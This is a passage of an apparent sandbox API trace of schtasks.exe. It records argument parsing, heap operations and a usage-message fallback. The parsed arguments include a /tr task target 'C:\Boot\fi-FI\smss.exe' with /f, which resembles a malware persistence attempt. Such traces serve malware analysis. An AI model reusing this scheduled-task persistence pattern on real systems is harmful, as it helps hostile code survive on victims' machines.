_vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|tr|") returned 4 [0074.278] lstrlenW (lpString="|query|") returned 7 [0074.278] lstrlenW (lpString="|tr|") returned 4 [0074.278] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0074.278] SetLastError (dwErrCode=0x490) [0074.278] lstrlenW (lpString="change") returned 6 [0074.278] lstrlenW (lpString="change") returned 6 [0074.278] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.278] lstrlenW (lpString="tr") returned 2 [0074.278] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.279] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|change|") returned 8 [0074.279] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|tr|") returned 4 [0074.279] lstrlenW (lpString="|change|") returned 8 [0074.279] lstrlenW (lpString="|tr|") returned 4 [0074.279] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0074.279] SetLastError (dwErrCode=0x490) [0074.279] lstrlenW (lpString="run") returned 3 [0074.279] lstrlenW (lpString="run") returned 3 [0074.279] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.279] lstrlenW (lpString="tr") returned 2 [0074.279] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.279] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|run|") returned 5 [0074.313] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|tr|") returned 4 [0074.314] lstrlenW (lpString="|run|") returned 5 [0074.314] lstrlenW (lpString="|tr|") returned 4 [0074.314] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0074.314] SetLastError (dwErrCode=0x490) [0074.314] lstrlenW (lpString="end") returned 3 [0074.314] lstrlenW (lpString="end") returned 3 [0074.314] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.314] lstrlenW (lpString="tr") returned 2 [0074.314] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.314] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|end|") returned 5 [0074.314] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|tr|") returned 4 [0074.314] lstrlenW (lpString="|end|") returned 5 [0074.314] lstrlenW (lpString="|tr|") returned 4 [0074.314] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0074.314] SetLastError (dwErrCode=0x490) [0074.315] lstrlenW (lpString="showsid") returned 7 [0074.315] lstrlenW (lpString="showsid") returned 7 [0074.315] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.315] lstrlenW (lpString="tr") returned 2 [0074.315] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.315] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0xa, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|showsid|") returned 9 [0074.315] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|tr|") returned 4 [0074.315] lstrlenW (lpString="|showsid|") returned 9 [0074.315] lstrlenW (lpString="|tr|") returned 4 [0074.315] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0074.315] SetLastError (dwErrCode=0x490) [0074.315] SetLastError (dwErrCode=0x490) [0074.315] SetLastError (dwErrCode=0x0) [0074.315] lstrlenW (lpString="/tr") returned 3 [0074.315] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0074.315] SetLastError (dwErrCode=0x490) [0074.315] SetLastError (dwErrCode=0x0) [0074.316] lstrlenW (lpString="/tr") returned 3 [0074.316] GetProcessHeap () returned 0x370000 [0074.316] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x8) returned 0x38c3f0 [0074.316] GetProcessHeap () returned 0x370000 [0074.316] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x38ce10 [0074.316] SetLastError (dwErrCode=0x0) [0074.316] SetLastError (dwErrCode=0x0) [0074.316] lstrlenW (lpString="'C:\\Boot\\fi-FI\\smss.exe'") returned 24 [0074.316] lstrlenW (lpString="-/") returned 2 [0074.316] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0074.316] SetLastError (dwErrCode=0x490) [0074.316] SetLastError (dwErrCode=0x490) [0074.316] SetLastError (dwErrCode=0x0) [0074.316] lstrlenW (lpString="'C:\\Boot\\fi-FI\\smss.exe'") returned 24 [0074.316] StrChrIW (lpStart="'C:\\Boot\\fi-FI\\smss.exe'", wMatch=0x3a) returned=":\\Boot\\fi-FI\\smss.exe'" [0074.317] lstrlenW (lpString="'C:\\Boot\\fi-FI\\smss.exe'") returned 24 [0074.317] GetProcessHeap () returned 0x370000 [0074.317] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x18) returned 0x38c410 [0074.317] _memicmp (_Buf1=0x38c410, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.317] GetProcessHeap () returned 0x370000 [0074.317] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0xe) returned 0x38c430 [0074.317] GetProcessHeap () returned 0x370000 [0074.317] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x18) returned 0x38d5e0 [0074.317] _memicmp (_Buf1=0x38d5e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.317] GetProcessHeap () returned 0x370000 [0074.317] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x34) returned 0x387b90 [0074.317] SetLastError (dwErrCode=0x7a) [0074.317] SetLastError (dwErrCode=0x0) [0074.317] SetLastError (dwErrCode=0x0) [0074.317] lstrlenW (lpString="'C") returned 2 [0074.317] lstrlenW (lpString="-/") returned 2 [0074.318] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0074.318] SetLastError (dwErrCode=0x490) [0074.318] SetLastError (dwErrCode=0x490) [0074.318] SetLastError (dwErrCode=0x0) [0074.318] lstrlenW (lpString="'C:\\Boot\\fi-FI\\smss.exe'") returned 24 [0074.318] GetProcessHeap () returned 0x370000 [0074.318] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x32) returned 0x387bd0 [0074.318] GetProcessHeap () returned 0x370000 [0074.318] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x38ce40 [0074.318] SetLastError (dwErrCode=0x0) [0074.318] SetLastError (dwErrCode=0x0) [0074.318] lstrlenW (lpString="/f") returned 2 [0074.318] lstrlenW (lpString="-/") returned 2 [0074.318] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0074.318] lstrlenW (lpString="?") returned 1 [0074.318] lstrlenW (lpString="?") returned 1 [0074.318] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.319] lstrlenW (lpString="f") returned 1 [0074.319] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.319] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|?|") returned 3 [0074.319] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|f|") returned 3 [0074.319] lstrlenW (lpString="|?|") returned 3 [0074.319] lstrlenW (lpString="|f|") returned 3 [0074.319] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0074.319] SetLastError (dwErrCode=0x490) [0074.319] lstrlenW (lpString="create") returned 6 [0074.319] lstrlenW (lpString="create") returned 6 [0074.319] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.319] lstrlenW (lpString="f") returned 1 [0074.319] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.319] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|create|") returned 8 [0074.319] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|f|") returned 3 [0074.319] lstrlenW (lpString="|create|") returned 8 [0074.320] lstrlenW (lpString="|f|") returned 3 [0074.320] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0074.320] SetLastError (dwErrCode=0x490) [0074.320] lstrlenW (lpString="delete") returned 6 [0074.320] lstrlenW (lpString="delete") returned 6 [0074.320] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.320] lstrlenW (lpString="f") returned 1 [0074.320] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.320] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|delete|") returned 8 [0074.320] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|f|") returned 3 [0074.320] lstrlenW (lpString="|delete|") returned 8 [0074.320] lstrlenW (lpString="|f|") returned 3 [0074.320] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0074.320] SetLastError (dwErrCode=0x490) [0074.320] lstrlenW (lpString="query") returned 5 [0074.320] lstrlenW (lpString="query") returned 5 [0074.320] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.320] lstrlenW (lpString="f") returned 1 [0074.320] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.320] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x8, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|query|") returned 7 [0074.320] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|f|") returned 3 [0074.320] lstrlenW (lpString="|query|") returned 7 [0074.320] lstrlenW (lpString="|f|") returned 3 [0074.320] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0074.320] SetLastError (dwErrCode=0x490) [0074.321] lstrlenW (lpString="change") returned 6 [0074.321] lstrlenW (lpString="change") returned 6 [0074.321] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.321] lstrlenW (lpString="f") returned 1 [0074.321] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.321] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|change|") returned 8 [0074.321] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|f|") returned 3 [0074.321] lstrlenW (lpString="|change|") returned 8 [0074.321] lstrlenW (lpString="|f|") returned 3 [0074.321] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0074.321] SetLastError (dwErrCode=0x490) [0074.321] lstrlenW (lpString="run") returned 3 [0074.321] lstrlenW (lpString="run") returned 3 [0074.321] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.321] lstrlenW (lpString="f") returned 1 [0074.321] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.321] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|run|") returned 5 [0074.321] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|f|") returned 3 [0074.321] lstrlenW (lpString="|run|") returned 5 [0074.321] lstrlenW (lpString="|f|") returned 3 [0074.321] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0074.321] SetLastError (dwErrCode=0x490) [0074.321] lstrlenW (lpString="end") returned 3 [0074.321] lstrlenW (lpString="end") returned 3 [0074.321] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.321] lstrlenW (lpString="f") returned 1 [0074.321] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.321] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|end|") returned 5 [0074.322] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|f|") returned 3 [0074.322] lstrlenW (lpString="|end|") returned 5 [0074.322] lstrlenW (lpString="|f|") returned 3 [0074.322] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0074.322] SetLastError (dwErrCode=0x490) [0074.322] lstrlenW (lpString="showsid") returned 7 [0074.322] lstrlenW (lpString="showsid") returned 7 [0074.322] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.322] lstrlenW (lpString="f") returned 1 [0074.322] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.322] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0xa, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|showsid|") returned 9 [0074.322] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|f|") returned 3 [0074.322] lstrlenW (lpString="|showsid|") returned 9 [0074.322] lstrlenW (lpString="|f|") returned 3 [0074.322] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0074.322] SetLastError (dwErrCode=0x490) [0074.322] SetLastError (dwErrCode=0x490) [0074.322] SetLastError (dwErrCode=0x0) [0074.322] lstrlenW (lpString="/f") returned 2 [0074.322] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0074.322] SetLastError (dwErrCode=0x490) [0074.322] SetLastError (dwErrCode=0x0) [0074.322] lstrlenW (lpString="/f") returned 2 [0074.322] GetProcessHeap () returned 0x370000 [0074.322] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x6) returned 0x38ddb0 [0074.322] GetProcessHeap () returned 0x370000 [0074.322] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x38ce70 [0074.322] SetLastError (dwErrCode=0x0) [0074.323] GetProcessHeap () returned 0x370000 [0074.323] GetProcessHeap () returned 0x370000 [0074.323] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38c2c0) returned 1 [0074.323] GetProcessHeap () returned 0x370000 [0074.323] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38c2c0) returned 0x8 [0074.323] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38c2c0 | out: hHeap=0x370000) returned 1 [0074.323] GetProcessHeap () returned 0x370000 [0074.323] GetProcessHeap () returned 0x370000 [0074.323] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38ccf0) returned 1 [0074.323] GetProcessHeap () returned 0x370000 [0074.323] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38ccf0) returned 0x20 [0074.323] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38ccf0 | out: hHeap=0x370000) returned 1 [0074.323] GetProcessHeap () returned 0x370000 [0074.323] GetProcessHeap () returned 0x370000 [0074.324] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38c350) returned 1 [0074.324] GetProcessHeap () returned 0x370000 [0074.324] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38c350) returned 0xc [0074.324] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38c350 | out: hHeap=0x370000) returned 1 [0074.324] GetProcessHeap () returned 0x370000 [0074.324] GetProcessHeap () returned 0x370000 [0074.324] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38cd20) returned 1 [0074.324] GetProcessHeap () returned 0x370000 [0074.324] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38cd20) returned 0x20 [0074.324] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38cd20 | out: hHeap=0x370000) returned 1 [0074.324] GetProcessHeap () returned 0x370000 [0074.325] GetProcessHeap () returned 0x370000 [0074.325] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38c370) returned 1 [0074.325] GetProcessHeap () returned 0x370000 [0074.325] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38c370) returned 0x8 [0074.325] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38c370 | out: hHeap=0x370000) returned 1 [0074.325] GetProcessHeap () returned 0x370000 [0074.325] GetProcessHeap () returned 0x370000 [0074.325] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38cd50) returned 1 [0074.325] GetProcessHeap () returned 0x370000 [0074.325] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38cd50) returned 0x20 [0074.325] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38cd50 | out: hHeap=0x370000) returned 1 [0074.325] GetProcessHeap () returned 0x370000 [0074.326] GetProcessHeap () returned 0x370000 [0074.326] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38c390) returned 1 [0074.326] GetProcessHeap () returned 0x370000 [0074.326] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38c390) returned 0xe [0074.326] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38c390 | out: hHeap=0x370000) returned 1 [0074.326] GetProcessHeap () returned 0x370000 [0074.326] GetProcessHeap () returned 0x370000 [0074.326] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38cd80) returned 1 [0074.326] GetProcessHeap () returned 0x370000 [0074.326] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38cd80) returned 0x20 [0074.326] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38cd80 | out: hHeap=0x370000) returned 1 [0074.337] GetProcessHeap () returned 0x370000 [0074.337] GetProcessHeap () returned 0x370000 [0074.337] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38c3b0) returned 1 [0074.337] GetProcessHeap () returned 0x370000 [0074.337] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38c3b0) returned 0x8 [0074.337] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38c3b0 | out: hHeap=0x370000) returned 1 [0074.337] GetProcessHeap () returned 0x370000 [0074.337] GetProcessHeap () returned 0x370000 [0074.337] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38cdb0) returned 1 [0074.337] GetProcessHeap () returned 0x370000 [0074.337] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38cdb0) returned 0x20 [0074.338] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38cdb0 | out: hHeap=0x370000) returned 1 [0074.338] GetProcessHeap () returned 0x370000 [0074.338] GetProcessHeap () returned 0x370000 [0074.338] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38c3d0) returned 1 [0074.338] GetProcessHeap () returned 0x370000 [0074.338] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38c3d0) returned 0x4 [0074.338] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38c3d0 | out: hHeap=0x370000) returned 1 [0074.338] GetProcessHeap () returned 0x370000 [0074.338] GetProcessHeap () returned 0x370000 [0074.338] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38cde0) returned 1 [0074.338] GetProcessHeap () returned 0x370000 [0074.338] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38cde0) returned 0x20 [0074.338] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38cde0 | out: hHeap=0x370000) returned 1 [0074.338] GetProcessHeap () returned 0x370000 [0074.338] GetProcessHeap () returned 0x370000 [0074.338] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38c3f0) returned 1 [0074.338] GetProcessHeap () returned 0x370000 [0074.338] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38c3f0) returned 0x8 [0074.339] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38c3f0 | out: hHeap=0x370000) returned 1 [0074.339] GetProcessHeap () returned 0x370000 [0074.339] GetProcessHeap () returned 0x370000 [0074.339] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38ce10) returned 1 [0074.339] GetProcessHeap () returned 0x370000 [0074.339] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38ce10) returned 0x20 [0074.339] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38ce10 | out: hHeap=0x370000) returned 1 [0074.339] GetProcessHeap () returned 0x370000 [0074.339] GetProcessHeap () returned 0x370000 [0074.339] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x387bd0) returned 1 [0074.339] GetProcessHeap () returned 0x370000 [0074.339] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x387bd0) returned 0x32 [0074.339] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x387bd0 | out: hHeap=0x370000) returned 1 [0074.340] GetProcessHeap () returned 0x370000 [0074.340] GetProcessHeap () returned 0x370000 [0074.340] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38ce40) returned 1 [0074.340] GetProcessHeap () returned 0x370000 [0074.340] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38ce40) returned 0x20 [0074.340] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38ce40 | out: hHeap=0x370000) returned 1 [0074.340] GetProcessHeap () returned 0x370000 [0074.340] GetProcessHeap () returned 0x370000 [0074.340] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38ddb0) returned 1 [0074.340] GetProcessHeap () returned 0x370000 [0074.340] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38ddb0) returned 0x6 [0074.340] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38ddb0 | out: hHeap=0x370000) returned 1 [0074.340] GetProcessHeap () returned 0x370000 [0074.340] GetProcessHeap () returned 0x370000 [0074.340] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38ce70) returned 1 [0074.340] GetProcessHeap () returned 0x370000 [0074.340] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38ce70) returned 0x20 [0074.341] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38ce70 | out: hHeap=0x370000) returned 1 [0074.341] GetProcessHeap () returned 0x370000 [0074.341] GetProcessHeap () returned 0x370000 [0074.341] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x387f30) returned 1 [0074.341] GetProcessHeap () returned 0x370000 [0074.341] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x387f30) returned 0x18 [0074.341] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x387f30 | out: hHeap=0x370000) returned 1 [0074.341] SetLastError (dwErrCode=0x0) [0074.341] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0074.341] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0074.341] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0074.341] VerifyVersionInfoW (in: lpVersionInformation=0x27c6b0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x27c6b0) returned 1 [0074.341] SetLastError (dwErrCode=0x0) [0074.341] lstrlenW (lpString="create") returned 6 [0074.341] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0074.341] SetLastError (dwErrCode=0x490) [0074.341] SetLastError (dwErrCode=0x0) [0074.341] lstrlenW (lpString="create") returned 6 [0074.341] GetProcessHeap () returned 0x370000 [0074.341] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x38ce70 [0074.342] GetProcessHeap () returned 0x370000 [0074.342] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x18) returned 0x38d600 [0074.342] _memicmp (_Buf1=0x38d600, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.342] GetProcessHeap () returned 0x370000 [0074.342] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x16) returned 0x38d620 [0074.342] SetLastError (dwErrCode=0x0) [0074.342] _memicmp (_Buf1=0x38bb50, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.342] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x38bcf0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0074.342] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0074.342] GetProcessHeap () returned 0x370000 [0074.342] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x74e) returned 0x38ddb0 [0074.343] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x38ddb0 | out: lpData=0x38ddb0) returned 1 [0074.343] VerQueryValueW (in: pBlock=0x38ddb0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x27c798, puLen=0x27c800 | out: lplpBuffer=0x27c798*=0x38e14c, puLen=0x27c800) returned 1 [0074.343] _memicmp (_Buf1=0x38bb50, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.343] _vsnwprintf (in: _Buffer=0x38bcf0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x27c778 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0074.343] VerQueryValueW (in: pBlock=0x38ddb0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x27c808, puLen=0x27c7f8 | out: lplpBuffer=0x27c808*=0x38df78, puLen=0x27c7f8) returned 1 [0074.343] lstrlenW (lpString="schtasks.exe") returned 12 [0074.343] lstrlenW (lpString="schtasks.exe") returned 12 [0074.343] lstrlenW (lpString=".EXE") returned 4 [0074.343] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0074.343] lstrlenW (lpString="schtasks.exe") returned 12 [0074.343] lstrlenW (lpString=".EXE") returned 4 [0074.343] lstrlenW (lpString="schtasks") returned 8 [0074.343] lstrlenW (lpString="/create") returned 7 [0074.343] _memicmp (_Buf1=0x38bb50, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.343] _vsnwprintf (in: _Buffer=0x38bcf0, _BufferCount=0x19, _Format="%s %s", _ArgList=0x27c778 | out: _Buffer="schtasks /create") returned 16 [0074.343] _memicmp (_Buf1=0x38bb70, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.343] GetProcessHeap () returned 0x370000 [0074.343] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x38ce40 [0074.343] _memicmp (_Buf1=0x38bb90, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.343] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x38d3a0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0074.344] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0074.344] GetProcessHeap () returned 0x370000 [0074.344] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x30) returned 0x387bd0 [0074.344] _vsnwprintf (in: _Buffer=0x38c0f0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x27c778 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0074.344] GetProcessHeap () returned 0x370000 [0074.344] GetProcessHeap () returned 0x370000 [0074.344] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38ddb0) returned 1 [0074.344] GetProcessHeap () returned 0x370000 [0074.344] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38ddb0) returned 0x74e [0074.344] HeapFree (in: hHeap=0x370000, 